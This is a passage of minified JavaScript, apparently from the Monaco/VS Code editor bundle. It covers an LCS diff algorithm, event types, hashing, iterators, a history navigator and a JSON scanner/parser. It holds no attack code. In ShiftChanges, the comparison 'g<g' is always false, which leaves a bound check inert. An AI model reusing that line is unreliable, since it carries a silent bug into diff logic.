this.ConcatenateChanges(b,w)},e.prototype.ComputeRecursionPoint=function(e,t,i,o,s,a,u){var l,c,d,h=0,p=0,f=0,g=0;e--,i--,s[0]=0,a[0]=0,this.m_forwardHistory=[],this.m_reverseHistory=[];var m=t-e+(o-i),v=m+1,_=new Array(v),y=new Array(v),C=o-i,b=t-e,w=e-i,S=t-o,E=(b-C)%2==0;_[C]=e,y[b]=t,u[0]=!1;var L,x;for(d=1;d<=m/2+1;d++){var N=0,M=0;for(h=this.ClipDiagonalBound(C-d,d,C,v),p=this.ClipDiagonalBound(C+d,d,C,v),L=h;L<=p;L+=2){for(c=(l=L===h||L<p&&_[L-1]<_[L+1]?_[L+1]:_[L-1]+1)-(L-C)-w,x=l;l<t&&c<o&&this.ElementsAreEqual(l+1,c+1);)l++,c++;if(_[L]=l,l+c>N+M&&(N=l,M=c),!E&&Math.abs(L-b)<=d-1&&l>=y[L])return s[0]=l,a[0]=c,x<=y[L]&&d<=1448?this.WALKTRACE(C,h,p,w,b,f,g,S,_,y,l,t,s,c,o,a,E,u):null}var T=(N-e+(M-i)-d)/2;if(null!==this.ContinueProcessingPredicate&&!this.ContinueProcessingPredicate(N,this.OriginalSequence,T))return u[0]=!0,s[0]=N,a[0]=M,T>0&&d<=1448?this.WALKTRACE(C,h,p,w,b,f,g,S,_,y,l,t,s,c,o,a,E,u):(e++,i++,[new n.DiffChange(e,t-e+1,i,o-i+1)]);for(f=this.ClipDiagonalBound(b-d,d,b,v),g=this.ClipDiagonalBound(b+d,d,b,v),L=f;L<=g;L+=2){for(c=(l=L===f||L<g&&y[L-1]>=y[L+1]?y[L+1]-1:y[L-1])-(L-b)-S,x=l;l>e&&c>i&&this.ElementsAreEqual(l,c);)l--,c--;if(y[L]=l,E&&Math.abs(L-C)<=d&&l<=_[L])return s[0]=l,a[0]=c,x>=_[L]&&d<=1448?this.WALKTRACE(C,h,p,w,b,f,g,S,_,y,l,t,s,c,o,a,E,u):null}if(d<=1447){var k=new Array(p-h+2);k[0]=C-h+1,r.Copy(_,h,k,1,p-h+1),this.m_forwardHistory.push(k),(k=new Array(g-f+2))[0]=b-f+1,r.Copy(y,f,k,1,g-f+1),this.m_reverseHistory.push(k)}}return this.WALKTRACE(C,h,p,w,b,f,g,S,_,y,l,t,s,c,o,a,E,u)},e.prototype.ShiftChanges=function(e){var t;do{t=!1;for(l=0;l<e.length;l++)for(var n=e[l],i=l<e.length-1?e[l+1].originalStart:this.OriginalSequence.getLength(),o=l<e.length-1?e[l+1].modifiedStart:this.ModifiedSequence.getLength(),r=n.originalLength>0,s=n.modifiedLength>0;n.originalStart+n.originalLength<i&&n.modifiedStart+n.modifiedLength<o&&(!r||this.OriginalElementsAreEqual(n.originalStart,n.originalStart+n.originalLength))&&(!s||this.ModifiedElementsAreEqual(n.modifiedStart,n.modifiedStart+n.modifiedLength));)n.originalStart++,n.modifiedStart++;for(var a=new Array,u=[null],l=0;l<e.length;l++)l<e.length-1&&this.ChangesOverlap(e[l],e[l+1],u)?(t=!0,a.push(u[0]),l++):a.push(e[l]);e=a}while(t);for(l=e.length-1;l>=0;l--){var n=e[l],i=0,o=0;if(l>0){var c=e[l-1];c.originalLength>0&&(i=c.originalStart+c.originalLength),c.modifiedLength>0&&(o=c.modifiedStart+c.modifiedLength)}for(var r=n.originalLength>0,s=n.modifiedLength>0,d=0,h=this._boundaryScore(n.originalStart,n.originalLength,n.modifiedStart,n.modifiedLength),p=1;;p++){var f=n.originalStart-p,g=n.modifiedStart-p;if(f<i||g<g)break;if(r&&!this.OriginalElementsAreEqual(f,f+n.originalLength))break;if(s&&!this.ModifiedElementsAreEqual(g,g+n.modifiedLength))break;var m=this._boundaryScore(f,n.originalLength,g,n.modifiedLength);m>h&&(h=m,d=p)}n.originalStart-=d,n.modifiedStart-=d}return e},e.prototype._OriginalIsBoundary=function(e){return e<=0||e>=this.OriginalSequence.getLength()-1||/^\\s*$/.test(this.OriginalSequence.getElementHash(e))},e.prototype._OriginalRegionIsBoundary=function(e,t){if(this._OriginalIsBoundary(e)||this._OriginalIsBoundary(e-1))return!0;if(t>0){var n=e+t;if(this._OriginalIsBoundary(n-1)||this._OriginalIsBoundary(n))return!0}return!1},e.prototype._ModifiedIsBoundary=function(e){return e<=0||e>=this.ModifiedSequence.getLength()-1||/^\\s*$/.test(this.ModifiedSequence.getElementHash(e))},e.prototype._ModifiedRegionIsBoundary=function(e,t){if(this._ModifiedIsBoundary(e)||this._ModifiedIsBoundary(e-1))return!0;if(t>0){var n=e+t;if(this._ModifiedIsBoundary(n-1)||this._ModifiedIsBoundary(n))return!0}return!1},e.prototype._boundaryScore=function(e,t,n,i){return(this._OriginalRegionIsBoundary(e,t)?1:0)+(this._ModifiedRegionIsBoundary(n,i)?1:0)},e.prototype.ConcatenateChanges=function(e,t){var n=[],i=null;return 0===e.length||0===t.length?t.length>0?t:e:this.ChangesOverlap(e[e.length-1],t[0],n)?(i=new Array(e.length+t.length-1),r.Copy(e,0,i,0,e.length-1),i[e.length-1]=n[0],r.Copy(t,1,i,e.length,t.length-1),i):(i=new Array(e.length+t.length),r.Copy(e,0,i,0,e.length),r.Copy(t,0,i,e.length,t.length),i)},e.prototype.ChangesOverlap=function(e,t,i){if(o.Assert(e.originalStart<=t.originalStart,\"Left change is not less than or equal to right change\"),o.Assert(e.modifiedStart<=t.modifiedStart,\"Left change is not less than or equal to right change\"),e.originalStart+e.originalLength>=t.originalStart||e.modifiedStart+e.modifiedLength>=t.modifiedStart){var r=e.originalStart,s=e.originalLength,a=e.modifiedStart,u=e.modifiedLength;return e.originalStart+e.originalLength>=t.originalStart&&(s=t.originalStart+t.originalLength-e.originalStart),e.modifiedStart+e.modifiedLength>=t.modifiedStart&&(u=t.modifiedStart+t.modifiedLength-e.modifiedStart),i[0]=new n.DiffChange(r,s,a,u),!0}return i[0]=null,!1},e.prototype.ClipDiagonalBound=function(e,t,n,i){if(e>=0&&e<i)return e;var o=n,r=i-n-1,s=t%2==0;return e<0?s===(o%2==0)?0:1:s===(r%2==0)?i-1:i-2},e}();t.LcsDiff=u});var f=this&&this.__extends||function(){var e=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var n in t)t.hasOwnProperty(n)&&(e[n]=t[n])};return function(t,n){function i(){this.constructor=t}e(t,n),t.prototype=null===n?Object.create(n):(i.prototype=n.prototype,new i)}}();define(d[79],h([1,0]),function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=function(){return function(e){this.time=(new Date).getTime(),this.originalEvent=e,this.source=null}}();t.Event=n;var i=function(e){function t(t,n,i,o){var r=e.call(this,o)||this;return r.key=t,r.oldValue=n,r.newValue=i,r}return f(t,e),t}(n);t.PropertyChangeEvent=i;var o=function(e){function t(t,n){var i=e.call(this,n)||this;return i.element=t,i}return f(t,e),t}(n);t.ViewerEvent=o,t.EventType={PROPERTY_CHANGED:\"propertyChanged\",SELECTION:\"selection\",FOCUS:\"focus\",BLUR:\"blur\",HIGHLIGHT:\"highlight\",EXPAND:\"expand\",COLLAPSE:\"collapse\",TOGGLE:\"toggle\",BEFORE_RUN:\"beforeRun\",RUN:\"run\",EDIT:\"edit\",SAVE:\"save\",CANCEL:\"cancel\",CHANGE:\"change\",DISPOSE:\"dispose\"}}),define(d[136],h([1,0]),function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.not=function(e){return function(){for(var t=[],n=0;n<arguments.length;n++)t[n]=arguments[n];return!e.apply(void 0,t)}},t.once=function(e){var t,n=this,i=!1;return function(){return i?t:(i=!0,t=e.apply(n,arguments))}}}),define(d[488],h([1,0]),function(e,t){\"use strict\";function n(e,t){switch(void 0===t&&(t=0),typeof e){case\"object\":return null===e?i(349,t):Array.isArray(e)?s(e,t):a(e,t);case\"string\":return r(e,t);case\"boolean\":return o(e,t);case\"number\":return i(e,t);case\"undefined\":return i(e,937);default:return i(e,617)}}function i(e,t){return(t<<5)-t+e|0}function o(e,t){return i(e?433:863,t)}function r(e,t){t=i(149417,t);for(var n=0,o=e.length;n<o;n++)t=i(e.charCodeAt(n),t);return t}function s(e,t){return t=i(104579,t),e.reduce(function(e,t){return n(t,e)},t)}function a(e,t){return t=i(181387,t),Object.keys(e).sort().reduce(function(t,i){return t=r(i,t),n(e[i],t)},t)}Object.defineProperty(t,\"__esModule\",{value:!0}),t.hash=n}),define(d[133],h([1,0]),function(e,t){\"use strict\";function n(e,t){var n=e.length;if(n!==t.length)return!1;for(var o=0;o<n;o++)if(!i(e[o],t[o]))return!1;return!0}function i(e,t){return!e&&!t||!(!e||!t)&&(\"string\"==typeof e||\"string\"==typeof t?\"string\"==typeof e&&\"string\"==typeof t&&e===t:e.language===t.language&&e.value===t.value)}Object.defineProperty(t,\"__esModule\",{value:!0}),t.markedStringsEquals=function(e,t){return!e&&!t||!(!e||!t)&&(Array.isArray(e)?!!Array.isArray(t)&&n(e,t):i(e,t))},t.textToMarkedString=function(e){return e.replace(/[\\\\`*_{}[\\]()#+\\-.!]/g,\"\\\\$&\")},t.removeMarkdownEscapes=function(e){return e?e.replace(/\\\\([\\\\`*_{}[\\]()#+\\-.!])/g,\"$1\"):e}}),define(d[108],h([1,0]),function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=function(){function e(e){this._prefix=e,this._lastId=0}return e.prototype.nextId=function(){return this._prefix+ ++this._lastId},e}();t.IdGenerator=n,t.defaultGenerator=new n(\"id#\")}),define(d[107],h([1,0]),function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=function(){function e(e,t,n){void 0===t&&(t=0),void 0===n&&(n=e.length),this.items=e,this.start=t,this.end=n,this.index=t-1}return e.prototype.first=function(){return this.index=this.start,this.current()},e.prototype.next=function(){return this.index=Math.min(this.index+1,this.end),this.current()},e.prototype.current=function(){return this.index===this.start-1||this.index===this.end?null:this.items[this.index]},e}();t.ArrayIterator=n;var i=function(e){function t(t,n,i){return void 0===n&&(n=0),void 0===i&&(i=t.length),e.call(this,t,n,i)||this}return f(t,e),t.prototype.current=function(){return e.prototype.current.call(this)},t.prototype.previous=function(){return this.index=Math.max(this.index-1,this.start-1),this.current()},t.prototype.first=function(){return this.index=this.start,this.current()},t.prototype.last=function(){return this.index=this.end-1,this.current()},t.prototype.parent=function(){return null},t}(n);t.ArrayNavigator=i;var o=function(){function e(e,t){this.iterator=e,this.fn=t}return e.prototype.next=function(){return this.fn(this.iterator.next())},e}();t.MappedIterator=o;var r=function(e){function t(t,n){var i=e.call(this,t,n)||this;return i.navigator=t,i}return f(t,e),t.prototype.current=function(){return this.fn(this.navigator.current())},t.prototype.previous=function(){return this.fn(this.navigator.previous())},t.prototype.parent=function(){return this.fn(this.navigator.parent())},t.prototype.first=function(){return this.fn(this.navigator.first())},t.prototype.last=function(){return this.fn(this.navigator.last())},t.prototype.next=function(){return this.fn(this.navigator.next())},t}(o);t.MappedNavigator=r}),define(d[434],h([1,0,107]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var i=function(){function e(e,t){void 0===e&&(e=[]),void 0===t&&(t=10),this._initialize(e),this._limit=t,this._onChange()}return e.prototype.getHistory=function(){return this._elements},e.prototype.add=function(e){this._history.add(e),this._onChange()},e.prototype.addIfNotPresent=function(e){this._history.has(e)||this.add(e)},e.prototype.next=function(){return this._navigator.next()?this._navigator.current():(this.last(),null)},e.prototype.previous=function(){return this._navigator.previous()?this._navigator.current():(this.first(),null)},e.prototype.current=function(){return this._navigator.current()},e.prototype.parent=function(){return null},e.prototype.first=function(){return this._navigator.first()},e.prototype.last=function(){return this._navigator.last()},e.prototype._onChange=function(){this._reduceToLimit(),this._navigator=new n.ArrayNavigator(this._elements),this._navigator.last()},e.prototype._reduceToLimit=function(){var e=this._elements;e.length>this._limit&&this._initialize(e.slice(e.length-this._limit))},e.prototype._initialize=function(e){this._history=new Set;for(var t=0,n=e;t<n.length;t++){var i=n[t];this._history.add(i)}},Object.defineProperty(e.prototype,\"_elements\",{get:function(){var e=[];return this._history.forEach(function(t){return e.push(t)}),e},enumerable:!0,configurable:!0}),e}();t.HistoryNavigator=i}),define(d[442],h([1,0]),function(e,t){\"use strict\";function n(e,t){function n(t,n){for(var i=0,o=0;i<t||!n;){var r=e.charCodeAt(h);if(r>=48&&r<=57)o=16*o+r-48;else if(r>=65&&r<=70)o=16*o+r-65+10;else{if(!(r>=97&&r<=102))break;o=16*o+r-97+10}h++,i++}return i<t&&(o=-1),o}function s(){var t=h;if(48===e.charCodeAt(h))h++;else for(h++;h<e.length&&r(e.charCodeAt(h));)h++;if(h<e.length&&46===e.charCodeAt(h)){if(!(++h<e.length&&r(e.charCodeAt(h))))return v=l.UnexpectedEndOfNumber,e.substring(t,h);for(h++;h<e.length&&r(e.charCodeAt(h));)h++}var n=h;if(h<e.length&&(69===e.charCodeAt(h)||101===e.charCodeAt(h)))if((++h<e.length&&43===e.charCodeAt(h)||45===e.charCodeAt(h))&&h++,h<e.length&&r(e.charCodeAt(h))){for(h++;h<e.length&&r(e.charCodeAt(h));)h++;n=h}else v=l.UnexpectedEndOfNumber;return e.substring(t,n)}function a(){for(var t=\"\",i=h;;){if(h>=p){t+=e.substring(i,h),v=l.UnexpectedEndOfString;break}var r=e.charCodeAt(h);if(34===r){t+=e.substring(i,h),h++;break}if(92!==r){if(r>=0&&r<=31){if(o(r)){t+=e.substring(i,h),v=l.UnexpectedEndOfString;break}v=l.InvalidCharacter}h++}else{if(t+=e.substring(i,h),++h>=p){v=l.UnexpectedEndOfString;break}switch(r=e.charCodeAt(h++)){case 34:t+='\"';break;case 92:t+=\"\\\\\";break;case 47:t+=\"/\";break;case 98:t+=\"\\b\";break;case 102:t+=\"\\f\";break;case 110:t+=\"\\n\";break;case 114:t+=\"\\r\";break;case 116:t+=\"\\t\";break;case 117:var s=n(4,!0);s>=0?t+=String.fromCharCode(s):v=l.InvalidUnicode;break;default:v=l.InvalidEscapeCharacter}i=h}}return t}function u(){if(f=\"\",v=l.None,g=h,h>=p)return g=p,m=c.EOF;var t=e.charCodeAt(h);if(i(t)){do{h++,f+=String.fromCharCode(t),t=e.charCodeAt(h)}while(i(t));return m=c.Trivia}if(o(t))return h++,f+=String.fromCharCode(t),13===t&&10===e.charCodeAt(h)&&(h++,f+=\"\\n\"),m=c.LineBreakTrivia;switch(t){case 123:return h++,m=c.OpenBraceToken;case 125:return h++,m=c.CloseBraceToken;case 91:return h++,m=c.OpenBracketToken;case 93:return h++,m=c.CloseBracketToken;case 58:return h++,m=c.ColonToken;case 44:return h++,m=c.CommaToken;case 34:return h++,f=a(),m=c.StringLiteral;case 47:var n=h-1;if(47===e.charCodeAt(h+1)){for(h+=2;h<p&&!o(e.charCodeAt(h));)h++;return f=e.substring(n,h),m=c.LineCommentTrivia}if(42===e.charCodeAt(h+1)){h+=2;for(var u=p-1,_=!1;h<u;){if(42===e.charCodeAt(h)&&47===e.charCodeAt(h+1)){h+=2,_=!0;break}h++}return _||(h++,v=l.UnexpectedEndOfComment),f=e.substring(n,h),m=c.BlockCommentTrivia}return f+=String.fromCharCode(t),h++,m=c.Unknown;case 45:if(f+=String.fromCharCode(t),++h===p||!r(e.charCodeAt(h)))return m=c.Unknown;case 48:case 49:case 50:case 51:case 52:case 53:case 54:case 55:case 56:case 57:return f+=s(),m=c.NumericLiteral;default:for(;h<p&&d(t);)h++,t=e.charCodeAt(h);if(g!==h){switch(f=e.substring(g,h)){case\"true\":return m=c.TrueKeyword;case\"false\":return m=c.FalseKeyword;case\"null\":return m=c.NullKeyword}return m=c.Unknown}return f+=String.fromCharCode(t),h++,m=c.Unknown}}function d(e){if(i(e)||o(e))return!1;switch(e){case 125:case 93:case 123:case 91:case 34:case 58:case 44:return!1}return!0}void 0===t&&(t=!1);var h=0,p=e.length,f=\"\",g=0,m=c.Unknown,v=l.None;return{setPosition:function(e){h=e,f=\"\",g=0,m=c.Unknown,v=l.None},getPosition:function(){return h},scan:t?function(){var e;do{e=u()}while(e>=c.LineCommentTrivia&&e<=c.Trivia);return e}:u,getToken:function(){return m},getTokenValue:function(){return f},getTokenOffset:function(){return g},getTokenLength:function(){return h-g},getTokenError:function(){return v}}}function i(e){return 32===e||9===e||11===e||12===e||160===e||5760===e||e>=8192&&e<=8203||8239===e||8287===e||12288===e||65279===e}function o(e){return 10===e||13===e||8232===e||8233===e}function r(e){return e>=48&&e<=57}function s(e){switch(typeof e){case\"boolean\":return\"boolean\";case\"number\":return\"number\";case\"string\":return\"string\";default:return\"null\"}}function a(e){if(\"array\"===e.type)return e.children.map(a);if(\"object\"===e.type){for(var t={},n=0,i=e.children;n<i.length;n++){var o=i[n];t[o.children[0].value]=a(o.children[1])}return t}return e.value}function u(e,t,i){function o(e){return e?function(){return e(m.getTokenOffset(),m.getTokenLength())}:function(){return!0}}function r(e){return e?function(t){return e(t,m.getTokenOffset(),m.getTokenLength())}:function(){return!0}}function s(){for(;;){var e=m.scan();switch(e){case c.LineCommentTrivia:case c.BlockCommentTrivia:L&&a(h.InvalidSymbol);break;case c.Unknown:a(h.InvalidSymbol);break;case c.Trivia:case c.LineBreakTrivia:break;default:return e}}}function a(e,t,n){if(void 0===t&&(t=[]),void 0===n&&(n=[]),E(e),t.length+n.length>0)for(var i=m.getToken();i!==c.EOF;){if(-1!==t.indexOf(i)){s();break}if(-1!==n.indexOf(i))break;i=s()}}function u(e){var t=m.getTokenValue();return e?w(t):_(t),s(),!0}function l(){switch(m.getToken()){case c.NumericLiteral:var e=0;try{\"number\"!=typeof(e=JSON.parse(m.getTokenValue()))&&(a(h.InvalidNumberFormat),e=0)}catch(e){a(h.InvalidNumberFormat)}w(e);break;case c.NullKeyword:w(null);break;case c.TrueKeyword:w(!0);break;case c.FalseKeyword:w(!1);break;default:return!1}return s(),!0}function d(){return m.getToken()!==c.StringLiteral?(a(h.PropertyNameExpected,[],[c.CloseBraceToken,c.CommaToken]),!1):(u(!1),m.getToken()===c.ColonToken?(S(\":\"),s(),g()||a(h.ValueExpected,[],[c.CloseBraceToken,c.CommaToken])):a(h.ColonExpected,[],[c.CloseBraceToken,c.CommaToken]),!0)}function p(){v(),s();for(var e=!1;m.getToken()!==c.CloseBraceToken&&m.getToken()!==c.EOF;){if(m.getToken()===c.CommaToken){if(e||a(h.ValueExpected,[],[]),S(\",\"),s(),m.getToken()===c.CloseBraceToken&&x)break}else e&&a(h.CommaExpected,[],[]);d()||a(h.ValueExpected,[],[c.CloseBraceToken,c.CommaToken]),e=!0}return y(),m.getToken()!==c.CloseBraceToken?a(h.CloseBraceExpected,[c.CloseBraceToken],[]):s(),!0}function f(){C(),s();for(var e=!1;m.getToken()!==c.CloseBracketToken&&m.getToken()!==c.EOF;)m.getToken()===c.CommaToken?(e||a(h.ValueExpected,[],[]),S(\",\"),s()):e&&a(h.CommaExpected,[],[]),g()||a(h.ValueExpected,[],[c.CloseBracketToken,c.CommaToken]),e=!0;return b(),m.getToken()!==c.CloseBracketToken?a(h.CloseBracketExpected,[c.CloseBracketToken],[]):s(),!0}function g(){switch(m.getToken()){case c.OpenBracketToken:return f();case c.OpenBraceToken:return p();case c.StringLiteral:return u(!0);default:return l()}}var m=n(e,!1),v=o(t.onObjectBegin),_=r(t.onObjectProperty),y=o(t.onObjectEnd),C=o(t.onArrayBegin),b=o(t.onArrayEnd),w=r(t.onLiteralValue),S=r(t.onSeparator),E=r(t.onError),L=i&&i.disallowComments,x=i&&i.allowTrailingComma;return s(),m.getToken()===c.EOF||(g()?(m.getToken()!==c.EOF&&a(h.EndOfFileExpected,[],[]),!0):(a(h.ValueExpected,[],[]),!1))}Object.defineProperty(t,\"__esModule\",{value:!0});var l;!function(e){e[e.None=0]=\"None\",e[e.UnexpectedEndOfComment=1]=\"UnexpectedEndOfComment\",e[e.UnexpectedEndOfString=2]=\"UnexpectedEndOfString\",e[e.UnexpectedEndOfNumber=3]=\"UnexpectedEndOfNumber\",e[e.InvalidUnicode=4]=\"InvalidUnicode\",e[e.InvalidEscapeCharacter=5]=\"InvalidEscapeCharacter\",e[e.InvalidCharacter=6]=\"InvalidCharacter\"}(l=t.ScanError||(t.ScanError={}));var c;!function(e){e[e.Unknown=0]=\"Unknown\",e[e.OpenBraceToken=1]=\"OpenBraceToken\",e[e.CloseBraceToken=2]=\"CloseBraceToken\",e[e.OpenBracketToken=3]=\"OpenBracketToken\",e[e.CloseBracketToken=4]=\"CloseBracketToken\",e[e.CommaToken=5]=\"CommaToken\",e[e.ColonToken=6]=\"ColonToken\",e[e.NullKeyword=7]=\"NullKeyword\",e[e.TrueKeyword=8]=\"TrueKeyword\",e[e.FalseKeyword=9]=\"FalseKeyword\",e[e.StringLiteral=10]=\"StringLiteral\",e[e.NumericLiteral=11]=\"NumericLiteral\",e[e.LineCommentTrivia=12]=\"LineCommentTrivia\",e[e.BlockCommentTrivia=13]=\"BlockCommentTrivia\",e[e.LineBreakTrivia=14]=\"LineBreakTrivia\",e[e.Trivia=15]=\"Trivia\",e[e.EOF=16]=\"EOF\"}(c=t.SyntaxKind||(t.SyntaxKind={})),t.createScanner=n;var d;!function(e){e[e.nullCharacter=0]=\"nullCharacter\",e[e.maxAsciiCharacter=127]=\"maxAsciiCharacter\",e[e.lineFeed=10]=\"lineFeed\",e[e.carriageReturn=13]=\"carriageReturn\",e[e.lineSeparator=8232]=\"lineSeparator\",e[e.paragraphSeparator=8233]=\"paragraphSeparator\",e[e.nextLine=133]=\"nextLine\",e[e.space=32]=\"space\",e[e.nonBreakingSpace=160]=\"nonBreakingSpace\",e[e.enQuad=8192]=\"enQuad\",e[e.emQuad=8193]=\"emQuad\",e[e.enSpace=8194]=\"enSpace\",e[e.emSpace=8195]=\"emSpace\",e[e.threePerEmSpace=8196]=\"threePerEmSpace\",e[e.fourPerEmSpace=8197]=\"fourPerEmSpace\",e[e.sixPerEmSpace=8198]=\"sixPerEmSpace\",e[e.figureSpace=8199]=\"figureSpace\",e[e.punctuationSpace=8200]=\"punctuationSpace\",e[e.thinSpace=8201]=\"thinSpace\",e[e.hairSpace=8202]=\"hairSpace\",e[e.zeroWidthSpace=8203]=\"zeroWidthSpace\",e[e.narrowNoBreakSpace=8239]=\"narrowNoBreakSpace\",e[e.ideographicSpace=12288]=\"ideographicSpace\",e[e.mathematicalSpace=8287]=\"mathematicalSpace\",e[e.ogham=5760]=\"ogham\",e[e._=95]=\"_\",e[e.$=36]=\"$\",e[e._0=48]=\"_0\",e[e._1=49]=\"_1\",e[e._2=50]=\"_2\",e[e._3=51]=\"_3\",e[e._4=52]=\"_4\",e[e._5=53]=\"_5\",e[e._6=54]=\"_6\",e[e._7=55]=\"_7\",e[e._8=56]=\"_8\",e[e._9=57]=\"_9\",e[e.a=97]=\"a\",e[e.b=98]=\"b\",e[e.c=99]=\"c\",e[e.d=100]=\"d\",e[e.e=101]=\"e\",e[e.f=102]=\"f\",e[e.g=103]=\"g\",e[e.h=104]=\"h\",e[e.i=105]=\"i\",e[e.j=106]=\"j\",e[e.k=107]=\"k\",e[e.l=108]=\"l\",e[e.m=109]=\"m\",e[e.n=110]=\"n\",e[e.o=111]=\"o\",e[e.p=112]=\"p\",e[e.q=113]=\"q\",e[e.r=114]=\"r\",e[e.s=115]=\"s\",e[e.t=116]=\"t\",e[e.u=117]=\"u\",e[e.v=118]=\"v\",e[e.w=119]=\"w\",e[e.x=120]=\"x\",e[e.y=121]=\"y\",e[e.z=122]=\"z\",e[e.A=65]=\"A\",e[e.B=66]=\"B\",e[e.C=67]=\"C\",e[e.D=68]=\"D\",e[e.E=69]=\"E\",e[e.F=70]=\"F\",e[e.G=71]=\"G\",e[e.H=72]=\"H\",e[e.I=73]=\"I\",e[e.J=74]=\"J\",e[e.K=75]=\"K\",e[e.L=76]=\"L\",e[e.M=77]=\"M\",e[e.N=78]=\"N\",e[e.O=79]=\"O\",e[e.P=80]=\"P\",e[e.Q=81]=\"Q\",e[e.R=82]=\"R\",e[e.S=83]=\"S\",e[e.T=84]=\"T\",e[e.U=85]=\"U\",e[e.V=86]=\"V\",e[e.W=87]=\"W\",e[e.X=88]=\"X\",e[e.Y=89]=\"Y\",e[e.Z=90]=\"Z\",e[e.ampersand=38]=\"ampersand\",e[e.asterisk=42]=\"asterisk\",e[e.at=64]=\"at\",e[e.backslash=92]=\"backslash\",e[e.bar=124]=\"bar\",e[e.caret=94]=\"caret\",e[e.closeBrace=125]=\"closeBrace\",e[e.closeBracket=93]=\"closeBracket\",e[e.closeParen=41]=\"closeParen\",e[e.colon=58]=\"colon\",e[e.comma=44]=\"comma\",e[e.dot=46]=\"dot\",e[e.doubleQuote=34]=\"doubleQuote\",e[e.equals=61]=\"equals\",e[e.exclamation=33]=\"exclamation\",e[e.greaterThan=62]=\"greaterThan\",e[e.lessThan=60]=\"lessThan\",e[e.minus=45]=\"minus\",e[e.openBrace=123]=\"openBrace\",e[e.openBracket=91]=\"openBracket\",e[e.openParen=40]=\"openParen\",e[e.percent=37]=\"percent\",e[e.plus=43]=\"plus\",e[e.question=63]=\"question\",e[e.semicolon=59]=\"semicolon\",e[e.singleQuote=39]=\"singleQuote\",e[e.slash=47]=\"slash\",e[e.tilde=126]=\"tilde\",e[e.backspace=8]=\"backspace\",e[e.formFeed=12]=\"formFeed\",e[e.byteOrderMark=65279]=\"byteOrderMark\",e[e.tab=9]=\"tab\",e[e.verticalTab=11]=\"verticalTab\"}(d||(d={})),t.stripComments=function(e,t){var i,o,r=n(e),s=[],a=0;do{switch(o=r.getPosition(),i=r.scan()){case c.LineCommentTrivia:case c.BlockCommentTrivia:case c.EOF:a!==o&&s.push(e.substring(a,o)),void 0!==t&&s.push(r.getTokenValue().replace(/[^\\r\\n]/g,t)),a=r.getPosition()}}while(i!==c.EOF);return s.join(\"\")};var h;!function(e){e[e.InvalidSymbol=0]=\"InvalidSymbol\",e[e.InvalidNumberFormat=1]=\"InvalidNumberFormat\",e[e.PropertyNameExpected=2]=\"PropertyNameExpected\",e[e.ValueExpected=3]=\"ValueExpected\",e[e.ColonExpected=4]=\"ColonExpected\",e[e.CommaExpected=5]=\"CommaExpected\",e[e.CloseBraceExpected=6]=\"CloseBraceExpected\",e[e.CloseBracketExpected=7]=\"CloseBracketExpected\",e[e.EndOfFileExpected=8]=\"EndOfFileExpected\"}(h=t.ParseErrorCode||(t.ParseErrorCode={})),t.getLocation=function(e,t){function n(e,t,n,i){a.value=e,a.offset=t,a.length=n,a.type=i,a.columnOffset=void 0,r=a}var i=[],o=new Object,r=void 0,a={value:void 0,offset:void 0,length:void 0,type:void 0},l=!1;try{u(e,{onObjectBegin:function(e,n){if(t<=e)throw o;r=void 0,l=t>e,i.push(\"\")},onObjectProperty:function(e,r,s){if(t<r)throw o;if(n(e,r,s,\"property\"),i[i.length-1]=e,t<=r+s)throw o},onObjectEnd:function(e,n){if(t<=e)throw o;r=void 0,i.pop()},onArrayBegin:function(e,n){if(t<=e)throw o;r=void 0,i.push(0)},onArrayEnd:function(e,n){if(t<=e)throw o;r=void 0,i.pop()},onLiteralValue:function(e,i,r){if(t<i)throw o;if(n(e,i,r,s(e)),t<=i+r)throw o},onSeparator:function(e,n,s){if(t<=n)throw o;if(\":\"===e&&\"property\"===r.type)r.columnOffset=n,l=!1,r=void 0;else if(\",\"===e){var a=i[i.length-1];\"number\"==typeof a?i[i.length-1]=a+1:(l=!0,i[i.length-1]=\"\"),r=void 0}}})}catch(e){if(e!==o)throw e}return{path:i,previousNode:r,isAtPropertyKey:l,matches:function(e){for(var t=0,n=0;t<e.length&&n<i.length;n++)if(e[t]===i[n]||\"*\"===e[t])t++;else if(\"**\"!==e[t])return!1;return t===e.length}}},t.parse=function(e,t,n){function i(e){Array.isArray(r)?r.push(e):o&&(r[o]=e)}void 0===t&&(t=[]);var o=null,r=[],s=[];return u(e,{onObjectBegin:function(){var e={};i(e),s.push(r),r=e,o=null},onObjectProperty:function(e){o=e},onObjectEnd:function(){r=s.pop()},onArrayBegin:function(){var e=[];i(e),s.push(r),r=e,o=null},onArrayEnd:function(){r=s.pop()},onLiteralValue:i,onError:function(e){t.push({error:e})}},n),r[0]},t.parseTree=function(e,t,n){function i(e){\"property\"===r.type&&(r.length=e-r.offset,r=r.parent)}function o(e){return r.children.push(e),e}void 0===t&&(t=[]);var r={type:\"array\",offset:-1,length:-1,children:[]};u(e,{onObjectBegin:function(e){r=o({type:\"object\",offset:e,length:-1,parent:r,children:[]})},onObjectProperty:function(e,t,n){(r=o({type:\"property\",offset:t,length:-1,parent:r,children:[]})).children.push({type:\"string\",value:e,offset:t,length:n,parent:r})},onObjectEnd:function(e,t){r.length=e+t-r.offset,r=r.parent,i(e+t)},onArrayBegin:function(e,t){r=o({type:\"array\",offset:e,length:-1,parent:r,children:[]})},onArrayEnd:function(e,t){r.length=e+t-r.offset,r=r.parent,i(e+t)},onLiteralValue:function(e,t,n){o({type:s(e),offset:t,length:n,parent:r,value:e}),i(t+n)},onSeparator:function(e,t,n){\"property\"===r.type&&(\":\"===e?r.columnOffset=t:\",\"===e&&i(t))},onError:function(e){t.push({error:e})}},n);var a=r.children[0];return a&&delete a.parent,a},t.findNodeAtLocation=function(e,t){if(e){for(var n=e,i=0,o=t;i<o.length;i++){var r=o[i];if(\"string\"==typeof r){if(\"object\"!==n.type)return;for(var s=!1,a=0,u=n.children;a<u.length;a++){var l=u[a];if(l.children[0].value===r){n=l.children[1],s=!0;break}}if(!s)return}else{var c=r;if(\"array\"!==n.type||c<0||c>=n.children.length)return;n=n.children[c]}}return n}},t.getNodeValue=a,t.visit=u}),define(d[40],h([1,0]),function(e,t){\"use strict\";function n(e,t){var 